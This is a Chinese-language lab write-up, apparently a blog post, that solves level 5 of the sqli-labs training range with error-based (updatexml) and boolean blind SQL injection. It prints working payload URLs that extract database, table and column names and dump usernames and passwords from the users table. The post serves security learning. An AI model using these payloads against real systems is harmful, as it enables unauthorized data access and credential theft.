web——sqliabs靶场——第五关——报错注入和布尔盲注

这一关开始上强度了,不回显东西了,又要学到新的东西了

发现它没有正确的回显,学到了新知识,报错注入

报错注入

什么是报错注入:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

复制代码
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

提示:0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

复制代码
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

就会爆出相关的信息

开始做题

方法一:使用报错注入

1.判断注入点

存在sql注入

2.判断注入的类型

单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

3.判断注入函数是否可以使用

地址栏输入:

?id=0′ and updatexml(1,0x7e,3) --+

存在报错注入

4.爆数据库名:

复制代码
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

或者用别的函数,介绍SUBSTR() 函数

SUBSTR()SUBSTRING() 是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR() 函数的一些常见用法:

基本语法

复制代码
SUBSTR(string, start, length)
  • string:要提取子字符串的源字符串。
  • start:开始提取的位置(从1开始计数)。
  • length:要提取的子字符串的长度。

示例

假设我们有一个字符串 Hello World,我们想提取不同的部分:

  1. 提取从第8个字符开始的4个字符:

    SELECT SUBSTR('Hello World', 8, 4);

这将返回 World

在网页上输入

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a

5.爆表名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

6.爆字段名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

7.爆详细信息

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+

结束

方法二: 使用布尔盲注

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么

  1. 长度判断原理

判断数据库的长度

?id=1' and length( database() )>1 -- a

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

判断库名为8

文末使用脚本自动化判断

2.枚举字符

  1. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34......126。

页面异常(空)显示,表示猜解失误;

原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880

?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a

可以使用脚本来做

相关推荐
霸王蟹17 分钟前
React中useState中更新是同步的还是异步的?
前端·javascript·笔记·学习·react.js·前端框架
霸王蟹20 分钟前
React Hooks 必须在组件最顶层调用的原因解析
前端·javascript·笔记·学习·react.js
专注VB编程开发20年27 分钟前
asp.net IHttpHandler 对分块传输编码的支持,IIs web服务器后端技术
服务器·前端·asp.net
爱分享的程序员1 小时前
全栈项目搭建指南:Nuxt.js + Node.js + MongoDB
前端
隐含2 小时前
webpack打包,把png,jpg等文件按照在src目录结构下的存储方式打包出来。解决同一命名的图片资源在打包之后,重复命名的图片就剩下一个图片了。
前端·webpack·node.js
lightYouUp2 小时前
windows系统中下载好node无法使用npm
前端·npm·node.js
Dontla2 小时前
npm cross-env工具包介绍(跨平台环境变量设置工具)
前端·npm·node.js
小妖6662 小时前
vue2 切换主题色以及单页面好使方法
前端·vue.js·elementui
胡桃夹夹子2 小时前
【前端优化】vue2 webpack4项目升级webpack5,大大提升运行速度
前端·javascript·vue.js·webpack·性能优化
Stringzhua2 小时前
JavaScript【7】BOM模型
开发语言·前端·javascript